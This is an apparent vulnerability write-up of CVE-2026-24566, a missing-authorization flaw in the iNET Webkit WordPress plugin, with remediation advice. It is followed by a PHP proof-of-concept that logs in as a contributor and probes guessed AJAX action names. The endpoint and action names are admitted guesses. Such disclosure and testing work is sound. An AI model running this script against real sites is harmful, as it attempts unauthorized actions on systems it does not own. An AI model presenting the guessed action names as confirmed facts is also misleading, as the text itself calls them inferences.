Atomic Edge analysis of CVE-2026-24566 (metadata-based):
The iNET Webkit WordPress plugin version 1.2.4 contains a missing authorization vulnerability. This flaw allows authenticated users with contributor-level permissions or higher to perform unauthorized actions. The CVSS 4.3 score reflects a moderate severity issue with low attack complexity and no confidentiality or availability impact.
CWE-862 indicates the plugin fails to verify user capabilities before executing a privileged function. Atomic Edge research infers the vulnerable component is likely an AJAX handler or admin POST endpoint that processes requests without checking the current user’s permissions. This conclusion is based on the WordPress plugin architecture pattern where such endpoints commonly implement capability checks via current_user_can(). The description confirms the absence of this security control but does not specify the exact function or endpoint.
Exploitation requires an attacker to possess a valid WordPress account with at least contributor privileges. The attacker would send a crafted HTTP request to a specific plugin endpoint. Based on WordPress plugin conventions, the likely target is /wp-admin/admin-ajax.php with an action parameter containing a plugin-specific hook like inet_webkit_action. Alternatively, the endpoint could be /wp-admin/admin-post.php. The attacker’s payload would contain parameters that trigger the unauthorized action, such as modifying plugin settings or accessing restricted data.
Remediation requires adding a proper capability check before executing the vulnerable function. The plugin should implement current_user_can() with an appropriate capability like manage_options or a custom capability defined during plugin initialization. Nonce verification should also be added to prevent CSRF attacks. The patch must validate both the user’s permission to perform the action and the integrity of the request.
Successful exploitation enables authenticated attackers to perform actions beyond their intended permissions. The impact is limited to integrity loss (I:L in CVSS) without data confidentiality compromise. Specific consequences depend on the unprotected function’s purpose but could include unauthorized configuration changes, content manipulation, or privilege escalation within the plugin’s scope. The vulnerability does not directly enable remote code execution or database access.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24566 - iNET Webkit <= 1.2.4 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-24566
* Assumptions based on WordPress plugin patterns:
* 1. The plugin registers an AJAX action hook without capability checks
* 2. The hook name likely contains 'inet_webkit' or similar plugin identifier
* 3. The endpoint is /wp-admin/admin-ajax.php
* 4. Contributor-level authentication is required
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
$username = 'contributor';
$password = 'password';
// First, authenticate to obtain WordPress cookies
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HEADER => true
]);
$response = curl_exec($ch);
// Attempt exploitation with common plugin AJAX action patterns
$actions = [
'inet_webkit_action',
'webkit_action',
'inetwk_action',
'inet_webkit_save',
'webkit_save_settings'
];
foreach ($actions as $action) {
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => http_build_query(['action' => $action]),
CURLOPT_HEADER => false
]);
$result = curl_exec($ch);
echo "Testing action: {$action}n";
echo "Response length: " . strlen($result) . "nn";
// Add delay to avoid rate limiting
sleep(1);
}
curl_close($ch);
unlink('cookies.txt');
?>
